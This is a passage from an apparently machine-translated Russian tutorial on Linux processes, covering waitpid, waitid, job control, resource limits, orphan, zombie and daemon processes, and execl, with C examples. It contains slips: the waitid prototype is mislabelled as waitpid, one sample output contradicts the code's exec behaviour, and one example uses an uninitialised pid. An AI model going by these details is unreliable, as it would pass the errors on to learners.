5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:41:15 /sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  191762      0  0 05:47 ?        00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807  191768 191762  0 05:47 ?        00:00:00 timeout 10s main
8023807  191769 191768  0 05:47 ?        00:00:00 main
8023807  191770 191769  0 05:47 ?        00:00:00 main
8023807  192193      0  0 05:47 ?        00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807  192199 192193  0 05:47 ?        00:00:00 timeout 10s main
8023807  192200 192199  0 05:47 ?        00:00:00 main
8023807  192201 192200  0 05:47 ?        00:00:00 main
8023807  192202 192201  0 05:47 ?        00:00:00 ps -ef

Примечание. Несмотря на то, что child возвращает состояние выхода 3, почему родительский процесс видит его как 768. Состояние сохраняется в байте более высокого порядка, поэтому оно хранится в шестнадцатеричном формате как 0X0300, что равно 768 в десятичном виде. Нормальное завершение выглядит следующим образом

Байт высшего порядка (биты с 8 по 15) Байт младшего разряда (биты от 0 до 7)
Статус выхода (от 0 до 255) 0

Системный вызов wait () имеет ограничение, заключающееся в том, что он может ждать только до выхода следующего дочернего элемента. Если нам нужно дождаться определенного дочернего элемента, это невозможно с помощью wait (), однако, это возможно с помощью системного вызова waitpid ().

Системный вызов waitpid () будет ожидать завершения определенных дочерних процессов и вернуть свой статус завершения в буфер, как объяснено ниже.

#include <sys/types.h>
#include <sys/wait.h>

pid_t waitpid(pid_t pid, int *status, int options);

Вышеуказанный вызов возвращает идентификатор процесса прерванного дочернего элемента в случае успеха и -1 при ошибке. Системный вызов waitpid () приостанавливает выполнение текущего процесса и ожидает неопределенно долго, пока указанные дочерние элементы (согласно значению pid) не завершатся. Статус завершения от ребенка доступен в статусе.

Значение pid может быть одним из следующих:

  • <-1 - Дождаться любого дочернего процесса, чей идентификатор группы процессов равен абсолютному значению pid.

  • -1 - Ожидание любого дочернего процесса, что соответствует системному вызову wait ().

  • 0 - Ожидание любого дочернего процесса, чей идентификатор группы процессов равен идентификатору вызывающего процесса.

  • > 0 - Дождаться любого дочернего процесса, чей идентификатор процесса равен значению pid.

По умолчанию системный вызов waitpid () ожидает только завершенных потомков, но это поведение по умолчанию можно изменить с помощью аргумента options.

Теперь давайте рассмотрим программу в качестве примера, ожидая определенного процесса с его идентификатором процесса.

/ * Имя файла: waitpid_test.c * /

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>

int main() {
   int pid;
   int pids[3];
   int status;
   int numprocesses = 0;
   int total_processes = 3;
   while (numprocesses < total_processes) {
      pid = fork();
      
      // Child process
      if (pid == 0) {
         printf("In child process: process id is %d\n", getpid());
         sleep(5);
         return 4;
      } else {
         pids[numprocesses] = pid;
         numprocesses++;
         printf("In parent process: created process number: %d\n", pid);
      }
   }
   
   // Waiting for 3rd child process
   waitpid(pids[total_processes - 1], &status, 0);
   if (WIFEXITED(status) != 0) {
      printf("process %d exited normally\n", pids[total_processes - 1]);
      printf("exit status from child is %d\n", WEXITSTATUS(status));
   } else {
      printf("process %d not exited normally\n", pids[total_processes - 1]);
   }
   return 0;
}

После компиляции и выполнения, следующий вывод.

In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4

Теперь давайте проверим системный вызов waitid (). Этот системный вызов ожидает, когда дочерний процесс изменит состояние.

#include <sys/wait.h>

int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);

Приведенный выше системный вызов ожидает, когда дочерний процесс изменит состояние, и этот вызов приостанавливает текущий / вызывающий процесс, пока какой-либо из его дочерних процессов не изменит свое состояние. Аргумент «infop» предназначен для записи текущего состояния ребенка. Этот вызов немедленно возвращается, если процесс уже изменил свое состояние.

Значение idtype может быть одним из следующих:

  • P_PID - ждать любого дочернего процесса, чей идентификатор процесса равен идентификатору идентификатора.

  • P_PGID - Ожидание любого дочернего процесса, чей идентификатор группы процессов равен идентификатору идентификатора.

  • P_ALL - ждать любого дочернего процесса, а id игнорируется.

  • Аргумент options должен указать, какое состояние изменяется, и это может быть сформировано с помощью побитовой операции ИЛИ с указанными ниже флагами -

  • WCONTINUED - возвращает статус любого ребенка, который был остановлен и был продолжен.

  • WEXITED - ожидает завершения процесса.

  • WNOHANG - Возвращается немедленно.

  • WSTOPPED - ожидает получения любого остановившегося дочернего процесса после получения сигнала и возвращает статус.

Этот вызов возвращает 0, если он возвращается из-за изменения состояния одного из его дочерних элементов, и используется WNOHANG. Возвращает -1 в случае ошибки и устанавливает соответствующий номер ошибки.

/ * Имя файла: waitid_test.c * /

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>

int main() {
   int pid;
   int pids[3];
   int status;
   int numprocesses = 0;
   int total_processes = 3;
   siginfo_t siginfo;
   while (numprocesses < total_processes) {
      pid = fork();
      
      // Child process
      if (pid == 0) {
         printf("In child process: process id is %d\n", getpid());
         sleep(5);
         return 2;
      } else {
         pids[numprocesses] = pid;
         numprocesses++;
         printf("In parent process: created process number: %d\n", pid);
      }
   }
   
   // Waiting for 3rd child process
   status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
   if (status == -1) {
      perror("waitid error");
      return 1;
   }
   printf("Info received from waitid is: ");
   printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
   return 0;
}

После выполнения и компиляции вышеупомянутой программы, следующий результат.

In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875

Группы процессов, сеансы и управление заданиями

В этой главе мы познакомимся с группами процессов, сессиями и управлением заданиями.

Группа процессов - Группа процессов - это совокупность одного или нескольких процессов. Группа процессов состоит из одного или нескольких процессов, совместно использующих один и тот же идентификатор группы процессов (PGID). Идентификатор группы процессов (PGID) того же типа (pid_t), что и идентификатор процесса. У группы процессов есть лидер группы процессов, который является процессом, который создает группу, и чей идентификатор процесса становится идентификатором группы процессов группы.

Сессии - это набор различных групп процессов.

Управление заданиями - это позволяет пользователю оболочки одновременно выполнять несколько команд (или заданий), одну на переднем плане и все остальные на заднем плане. Также возможно переместить задания с переднего плана на задний план и наоборот.

Давайте разберемся с этим на примере программ / с использованием оболочки (BASH).

  • Сценарий оболочки (в BASH) для выполнения основных команд (date, echo, sleep и cal) с именем basic_commands.sh

  • Сценарий оболочки (в BASH) для выполнения основных команд (ps, echo)

#!/bin/bash
#basic_commands.sh

date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal

#!/bin/bash
#process_status.sh

ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps

Используйте команду chmod, чтобы дать файлу права на выполнение. По умолчанию обычный файл получит только разрешения на чтение и запись, а не разрешения на выполнение.

Чтобы остановить текущий запущенный процесс, вам нужно нажать CTRL + Z. Это дает вам номер работы. Работа может быть возобновлена либо на переднем плане, либо на заднем плане. Если необходимо, чтобы возобновить работу на переднем плане, используйте команду «fg». Если необходимо, чтобы возобновить работу в фоновом режиме, используйте команду «bg». Используя это, он будет запускать только последний остановленный процесс. Что делать, если вы хотите запустить другой, чем последний остановленный процесс? Просто используйте номер задания после fg или bg (скажем, bg% 2 или bg% 3 и т. Д.). Если запущенное задание находится в фоновом режиме, вы можете запускать любые другие задачи на переднем плане. Чтобы получить список вакансий, используйте команду, jobs. Также можно завершить процесс с помощью комбинации клавиш CTRL + C или kill. Вы можете передать номер задания, используя команду kill.

Проверьте следующий вывод, который демонстрирует остановку заданий, перемещение заданий с переднего плана на задний план и наоборот, завершение заданий и т. Д.

chmod u+x basic_commands.sh
chmod u+x process_status.sh

./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
Now sleeping for 250 seconds, so that testing job control functionality is smooth
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID   TTY   TIME     CMD
2295  pts/1 00:00:00 bash
4222  pts/1 00:00:00 basic_commands.
4224  pts/1 00:00:00 sleep
4225  pts/1 00:00:00 process_status.
4226  pts/1 00:00:00 ps
Now sleeping for 200 seconds, so that testing job control functionality is smooth
^Z
[2]+ Stopped      ./process_status.sh
jobs
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped      ./basic_commands.sh

jobs
[1]+ Stopped      ./basic_commands.sh
[2]- Stopped      ./process_status.sh

bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped      ./basic_commands.sh
jobs
[1]+ Stopped      ./basic_commands.sh
[2]- Running      ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
jobs
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh
kill %1 %2
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh

[1]- Terminated   ./basic_commands.sh
[2]+ Terminated   ./process_status.sh

Технологические ресурсы

Процесс требует определенных ресурсов, таких как процессор и память для выполнения задач. Теперь мы рассмотрим соответствующие команды и системные вызовы, чтобы узнать информацию об использовании ресурсов и мониторинге. Также существуют определенные ограничения по умолчанию для каждого процесса в ресурсах, и, если требуется, ограничения могут быть расширены для соответствия требованиям приложения.

Ниже приведены основные сведения о ресурсах системы или процесса с помощью команд:

Верхняя команда

$ top

Команда top постоянно отображает использование системных ресурсов. Если какой-либо процесс переводит систему в некое состояние зависания (потребляя больше ресурсов ЦП или памяти), можно записать информацию о процессе и предпринять соответствующие действия (например, убить связанный процесс).

Команда ps

$ ps

Команда ps предоставляет информацию обо всех запущенных процессах. Это помогает контролировать и контролировать процессы.

Команда vmstat

$ vmstat

Команда vmstat сообщает статистику подсистемы виртуальной памяти. Он сообщает информацию о процессах (ожидающих выполнения, спящих, запущенных процессах и т. Д.), Памяти (информация о виртуальной памяти, например, свободная, использованная и т. Д.), Области подкачки, устройствах ввода-вывода, системной информации (количество прерываний, переключение контекста). ) и процессор (пользовательский, системный и простой).

Команда lsof

$ lsof

Команда lsof печатает список открытых файлов всех текущих запущенных процессов, включая системные процессы.

Команда getconf

$ getconf –a

Команда getconf отображает информацию о переменных конфигурации системы.

Теперь давайте посмотрим на соответствующие системные вызовы.

  • Системный вызов getrusage (), который предоставляет информацию об использовании системных ресурсов.

  • Системные вызовы, связанные с доступом и настройкой лимитов ресурсов: getrlimit (), setrlimit (), prlimit ().

Вызов использования системных ресурсов

#include <sys/time.h>
#include <sys/resource.h>

int getrusage(int who, struct rusage *usage);

Системный вызов getrusage () возвращает информацию об использовании системных ресурсов. Это может включать информацию о себе, дочерних элементах или вызывающем потоке с использованием флагов RUSAGE_SELF, RUSAGE_CHILDREN, RUSAGE_THREAD для переменной who. После вызова он возвращает информацию в структуру rusage.

Этот вызов вернет «0» в случае успеха и «-1» в случае ошибки.

Давайте посмотрим на следующий пример программы.

/ * Имя файла: sysinfo_getrusage.c * /

#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>

void main(void) {
   struct rusage res_usage;
   int retval;
   retval = getrusage(RUSAGE_SELF, &res_usage);
   if (retval == -1) {
      perror("getrusage error");
      return;
   }
   printf("Details of getrusage:\n");
   printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
   printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
   printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
   printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
   printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
   printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
   printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
   printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
   printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
   return;
}

Шаги компиляции и выполнения

Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1

Давайте теперь посмотрим на системные вызовы, связанные с доступом и настройкой лимитов ресурсов.

#include <sys/time.h>
#include <sys/resource.h>

int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);

Системный вызов getrlimit () получает ограничения ресурсов в структуре rlimit путем ввода необходимого ресурса, такого как RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK и т. Д.

Системный вызов setrlimit () устанавливает пределы ресурса, указанные в структуре rlimit, в пределах этих ограничений.

Системный вызов prlimit () используется для различных целей, например, для извлечения текущих пределов ресурса или для обновления пределов ресурса до новых значений.

Структура rlimit содержит два значения -

  • Мягкий предел - текущий предел

  • Жесткий предел - максимальный предел, до которого он может быть расширен.

RLIMIT_NOFILE - возвращает максимальное количество файловых дескрипторов, которые могут быть открыты этим процессом. Например, если он возвращает 1024, то у процесса есть файловые дескрипторы от 0 до 1023.

RLIMIT_NPROC - максимальное количество процессов, которое может быть создано для пользователя этого процесса.

RLIMIT_STACK - максимальный размер в байтах сегмента стека для этого процесса.

Все эти вызовы возвращали бы «0» в случае успеха и «-1» в случае неудачи.

Давайте рассмотрим следующий пример, где мы используем системный вызов getrlimit ().

/ * Имя файла: sysinfo_getrlimit.c * /

#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>

void main(void) {
   struct rlimit res_limit;
   int retval;
   int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
   int max_res;
   int counter = 0;
   printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
   max_res = sizeof(resources)/sizeof(int);
   while (counter < max_res) {
      retval = getrlimit(resources[counter], &res_limit);
      if (retval == -1) {
         perror("getrlimit error");
         return;
      }
      printf("Soft Limit is %ld\n", res_limit.rlim_cur);
      printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
      counter++;
   }
   return;
}

Шаги компиляции и выполнения

Details of resource limits for NOFILE, NPROC, STACK are as follows: 
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432

Давайте рассмотрим другой пример с системным вызовом getrlimit (), но теперь с системным вызовом prlimit ().

/ * Имя файла: sysinfo_prlimit.c * /

#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>

void main(void) {
   struct rlimit res_limit;
   int retval;
   int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
   int max_res;
   int counter = 0;
   printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
   max_res = sizeof(resources)/sizeof(int);
   while (counter < max_res) {
      retval = prlimit(getpid(), resources[counter], NULL , &res_limit);
      if (retval == -1) {
         perror("prlimit error");
         return;
      }
      printf("Soft Limit is %ld\n", res_limit.rlim_cur);
      printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
      counter++;
   }
   return;
}

Шаги компиляции и выполнения

Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: 
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432

Другие процессы

До сих пор мы обсуждали процессы, их создание, родительские и дочерние процессы и т. Д. Обсуждение будет неполным без обсуждения других связанных процессов, таких как процесс Orphan, процесс Zombie и процесс Daemon.

Сирота Процесс

Как видно из названия, сирота подразумевает процесс без родителей. Когда мы запускаем программу или приложение, родительским процессом для приложения является оболочка. Когда мы создаем процесс с использованием fork (), вновь созданный процесс является дочерним процессом, а процесс, который создал дочерний процесс, является родительским процессом. В свою очередь, родительским процессом является оболочка. Конечно, родителем всех процессов является процесс инициализации (Идентификатор процесса → 1).

Выше приведен обычный сценарий, однако, что произойдет, если родительский процесс завершится до дочернего процесса. В результате дочерний процесс теперь становится сиротским процессом. Тогда что касается его родителя, его новый родитель является родителем всех процессов, который является ничем иным, как процессом init (ID процесса - 1).

Давайте попробуем понять это на следующем примере.

/ * Имя файла: orphan_process.c * /

#include<stdio.h>
#include<stdlib.h>

int main() {
   int pid;
   system("ps -f");
   pid = fork();
   if (pid == 0) {
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(5);
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      system("ps -f");
   } else {
      printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(2);
      exit(0);
   }
   return 0;
}

Шаги компиляции и выполнения

UID         PID   PPID  C STIME TTY    TIME CMD
4581875  180558      0  0 09:19  ?     00:00:00 sh -c cd /home/cg/root/4581875; 
                                       timeout 10s main
4581875  180564 180558  0 09:19  ?     00:00:00 timeout 10s main
4581875  180565 180564  0 09:19  ?     00:00:00 main
4581875  180566 180565  0 09:19  ?     00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID         PID   PPID  C STIME TTY    TIME CMD
4581875  180567      0  0 09:19  ?     00:00:00 main
4581875  180820 180567  0 09:19  ?     00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0

Зомби процесс

Проще говоря, предположим, что у вас есть два процесса, а именно родительский и дочерний процессы. Родительский процесс несет ответственность за ожидание дочернего процесса, а затем очистку записи дочернего процесса из таблицы процессов. Что если родительский процесс не готов ждать дочернего процесса, а тем временем дочерний процесс выполняет свою работу и завершается? Теперь дочерний процесс станет процессом зомби. Конечно, процесс зомби очищается после того, как родительский процесс становится готовым.

Позвольте нам понять это с помощью примера.

/ * Имя файла: zombie_process.c * /

#include<stdio.h>
#include<stdlib.h>

int main() {
   int pid;
   pid = fork();
   if (pid == 0) {
      system("ps -f");
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      exit(0);
   } else {
      printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(10);
      system("ps aux|grep Z");
   }
   return 0;
}

Шаги компиляции и выполнения

UID         PID   PPID  C STIME TTY    TIME CMD
4581875  184946      0  0 09:20  ?     00:00:00 sh -c cd /home/cg/root/4581875; 
                                       timeout 10s main
4581875  184952 184946  0 09:20  ?     00:00:00 timeout 10s main
4581875  184953 184952  0 09:20  ?     00:00:00 main
4581875  184954 184953  0 09:20  ?     00:00:00 main
4581875  184955 184954  0 09:20  ?     00:00:00 ps -f
Child: pid is 184954 and ppid is 184953

Демон Процесс

Проще говоря, процесс, который не имеет никакой связанной оболочки или терминала, называется процессом демона. Зачем это нужно? Это процессы, которые выполняются в фоновом режиме, чтобы выполнять действия с заданными интервалами, а также реагировать на определенные события. Процесс-демон не должен взаимодействовать с пользователем, поскольку он работает как фоновый процесс.

Внутренние процессы демона Linux обычно заканчиваются буквой «d», такие как демон ядра (ksoftirqd, kblockd, kswapd и т. Д.), Печать демонов (cupsd, lpd и т. Д.), Демоны файловой службы (smbd, nmbd и т. Д.) , Демоны административной базы данных (ypbind, ypserv и т. Д.), Демоны электронной почты (sendmail, popd, smtpd и т. Д.), Демоны удаленного входа в систему и выполнения команд (sshd, in.telnetd и т. Д.), Демоны загрузки и настройки (dhcpd) , udevd и т. д.), процесс init (init), демон cron, демон atd и т. д.

Теперь давайте посмотрим, как создать процесс демона. Ниже приведены шаги -

Шаг 1 - Создайте дочерний процесс. Теперь у нас есть два процесса - родительский процесс и дочерний процесс

Обычно иерархия процессов: ОБОЛОЧКА → РОДИТЕЛЬСКИЙ ПРОЦЕСС → ДЕТСКИЙ ПРОЦЕСС

Шаг 2 - Завершите родительский процесс, выйдя. Дочерний процесс теперь становится сиротским процессом и переходит к процессу init.

Теперь, иерархия это INIT PROCESS → CHILD PROCESS

Шаг 3 - Вызов системного вызова setsid () создает новый сеанс, если вызывающий процесс не является лидером группы процессов. Теперь вызывающий процесс становится лидером группы нового сеанса. Этот процесс будет единственным процессом в этой новой группе процессов и в этом новом сеансе.

Шаг 4 - Установите идентификатор группы процессов и идентификатор сеанса в PID вызывающего процесса.

Шаг 5 - Закройте дескрипторы файлов по умолчанию (стандартный ввод, стандартный вывод и стандартная ошибка) процесса, поскольку терминал и оболочка теперь отключены от приложения.

/ * Имя файла: daemon_test.c * /

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>

int main(int argc, char *argv[]) {
   pid_t pid;
   int counter;
   int fd;
   int max_iterations;
   char buffer[100];
   if (argc < 2)
   max_iterations = 5;
   else {
      max_iterations = atoi(argv[1]);
      if ( (max_iterations <= 0) || (max_iterations > 20) )
      max_iterations = 10;
   }
   pid = fork();
   
   // Unable to create child process
   if (pid < 0) {
      perror("fork error\n");
      exit(1);
   }
   
   // Child process
   if (pid == 0) {
      fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
      if (fd == -1) {
         perror("daemon txt file open error\n");
         return 1;
      }
      printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
      printf("\nChild process before becoming session leader\n");
      sprintf(buffer, "ps -ef|grep %s", argv[0]);
      system(buffer);
      setsid();
      printf("\nChild process after becoming session leader\n");
      sprintf(buffer, "ps -ef|grep %s", argv[0]);
      system(buffer);
      close(STDIN_FILENO);
      close(STDOUT_FILENO);
      close(STDERR_FILENO);
   } else {
      printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
      printf("Parent: Exiting\n");
      exit(0);
   }
   
   // Executing max_iteration times
   for (counter = 0; counter < max_iterations; counter++) {
      sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
      write(fd, buffer, strlen(buffer));
      sleep(2);
   }
   strcpy(buffer, "Done\n");
   write(fd, buffer, strlen(buffer));
   
   // Can't print this as file descriptors are already closed
   printf("DoneDone\n");
   close(fd);
   return 0;
}

Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875  193525      0  0 09:23  ?      00:00:00 main
4581875  193526 193525  0 09:23  ?      00:00:00 sh -c ps -ef|grep main
4581875  193528 193526  0 09:23  ?      00:00:00 grep main
4581875  193525      0  0 09:23  ?      00:00:00 main
4581875  193529 193525  0 09:23  ?      00:00:00 sh -c ps -ef|grep main
4581875  193531 193529  0 09:23  ?      00:00:00 grep main

Наложение изображения процесса

Предположим, что мы запускаем программу и хотим запустить другую программу из текущей программы. Это возможно? Почему бы нет, если мы реализуем концепцию наложения изображения процесса. Это нормально, но как насчет текущей запущенной программы, это тоже можно запустить. Как это возможно, поскольку мы перекрыли текущую программу новой программой. Что делать, если я хочу запустить две программы без потери текущей запущенной программы, возможно ли это? Да, это возможно.

Создайте дочерний процесс, чтобы у нас был родительский процесс и недавно созданный дочерний процесс. Мы уже запускаем текущую программу в родительском процессе, поэтому запускаем только что созданный процесс в дочернем процессе. Таким образом, мы можем запустить другую программу из текущей программы. Не только одна программа, но мы можем запустить любое количество программ из текущей программы, создав столько дочерних процессов.

Давайте рассмотрим следующую программу в качестве примера.

/ * Имя файла: helloworld.c * /

#include<stdio.h>

void main() {
   printf("Hello World\n");
   return;
}

/ * Имя файла: execl_test.c * /

#include<stdio.h>
#include<unistd.h>

void main() {
   execl("./helloworld", "./helloworld", (char *)0);
   printf("This wouldn't print\n");
   return;
}

Вышеуказанная программа наложит образ процесса execl_test на helloworld. По этой причине код образа процесса execl_test (printf ()) не выполняется.

Шаги компиляции и выполнения

Hello World

Теперь мы запустим следующие две программы из одной программы, т.е. execl_run_two_prgms.c.

  • Программа Hello World (helloworld.c)

  • Во время цикла программа для печати от 1 до 10 (while_loop.c)

/ * Имя файла: while_loop.c * /

/* Prints numbers from 1 to 10 using while loop */
#include<stdio.h>

void main() {
   int value = 1;
   while (value <= 10) {
      printf("%d\t", value);
      value++;
   }
   printf("\n");
   return;
}

Ниже приведена программа для запуска двух программ (одна программа от дочерней и другая программа от родительской).

/ * Имя файла: execl_run_two_prgms.c * /

#include<stdio.h>
#include<unistd.h>

void main() {
   int pid;
   pid = fork();
   
   /* Child process */
   if (pid == 0) {
      printf("Child process: Running Hello World Program\n");
      execl("./helloworld", "./helloworld", (char *)0);
      printf("This wouldn't print\n");
   } else { /* Parent process */
      sleep(3);
      printf("Parent process: Running While loop Program\n");
      execl("./while_loop", "./while_loop", (char *)0);
      printf("Won't reach here\n");
   }
   return;
}

Примечание. Выполните вызов sleep (), чтобы убедиться, что дочерний и родительский процессы выполняются последовательно (не перекрывают результат).

Шаги компиляции и выполнения

Child process: Running Hello World Program
This wouldn't print
Parent process: Running While loop Program
Won't reach here

Теперь мы будем запускать две программы из одной программы, т.е. execl_run_two_prgms.c, ту же программу, что и выше, но с аргументами командной строки. Итак, мы запускаем две программы, а именно helloworld.c в дочернем процессе и программу while_loop.c в родительском процессе. Это следующим образом -

  • Программа Hello World (helloworld.c)

  • Во время цикла программа для печати от 1 до num_times_str в соответствии с аргументами командной строки (while_loop.c)

Эта программа широко выполняет следующие действия -

  • Создает дочерний процесс

  • Дочерний процесс выполняет программу helloworld.c

  • Родительский процесс выполняет программу while_loop.c, передавая значение аргумента командной строки в качестве аргумента программы. Если аргументы командной строки не передаются, то по умолчанию принимается значение 10. В противном случае оно принимает заданное значение аргумента. Значение аргумента должно быть числовым; код не будет подтвержден, если указан в алфавитах.

/ * Имя файла: execl_run_two_prgms.c * /

#include<stdio.h>
#include<string.h>
#include<unistd.h>

void main(int argc, char *argv[0]) {
   int pid;
   int err;
   int num_times;
   char num_times_str[5];
   
   /* In no command line arguments are passed, then loop maximum count taken as 10 */
   if (argc == 1) {
      printf("Taken loop maximum as 10\n");
      num_times = 10;
      sprintf(num_times_str, "%d", num_times);
   } else {
      strcpy(num_times_str, argv[1]);
      printf("num_times_str is %s\n", num_times_str);
      pid = fork();
   }
   
   /* Child process */
   if (pid == 0) {
      printf("Child process: Running Hello World Program\n");
      err = execl("./helloworld", "./helloworld", (char *)0);
      printf("Error %d\n", err);
      perror("Execl error: ");
      printf("This wouldn't print\n");
   } else { /* Parent process */
      sleep(3);
      printf("Parent process: Running While loop Program\n");
      execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
      printf("Won't reach here\n");
   }
   return;
}

Ниже приведена программа helloworld.c, вызываемая из дочернего процесса программы execl_run_two_prgms.c.

/ * Имя файла: helloworld.c * /

#include<stdio.h>

void main() {
   printf("Hello World\n");
   return;
}

Далее следует программа while_loop.c, вызываемая из родительского процесса execl_run_two_prgms.c. Аргумент этой программы передается от программы, которая ее выполняет, т.е. execl_run_two_prgms.c.

/ * Имя файла: while_loop.c * /

#include<stdio.h>

void main(int argc, char *argv[]) {
   int start_value = 1;
   int end_value;
   if (argc == 1)
   end_value = 10;
   else
   end_value = atoi(argv[1]);
   printf("Argv[1] is %s\n", argv[1]);
   while (start_value <= end_value) {
      printf("%d\t", start_value);
      start_value++;
   }
   printf("\n");
   return;
}

Шаги компиляции и выполнения

Taken loop maximum as 10
num_times_str is 10
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 10
1 2 3 4 5 6 7 8 9 10
Taken loop maximum as 15
num_times_str is 15
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Давайте теперь посмотрим на наложенные изображения связанные функции библиотеки.

#include<unistd.h>

int execl(const char *path, const char *arg, ...);

Эта функция будет перекрывать текущий запущенный образ процесса новым процессом, как указано в аргументах path и arg. Если какой-либо аргумент необходимо передать новому образу процесса, он будет отправлен через аргументы «arg», а последний аргумент должен быть NULL .

Эта функция будет возвращать значение только в случае ошибки. Процесс наложения изображений, связанных вызовов, как указано ниже -

int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);

Эти вызовы будут обращаться к передаваемым аргументам командной строки (argv []), переменным среды (envp []) и другим параметрам.

Связанные системные вызовы (система V)

В следующей таблице перечислены различные системные вызовы вместе с их описанием.

категория Системный вызов Описание
Общая открытый () Этот системный вызов либо открывает уже существующий файл, либо создает и открывает новый файл.
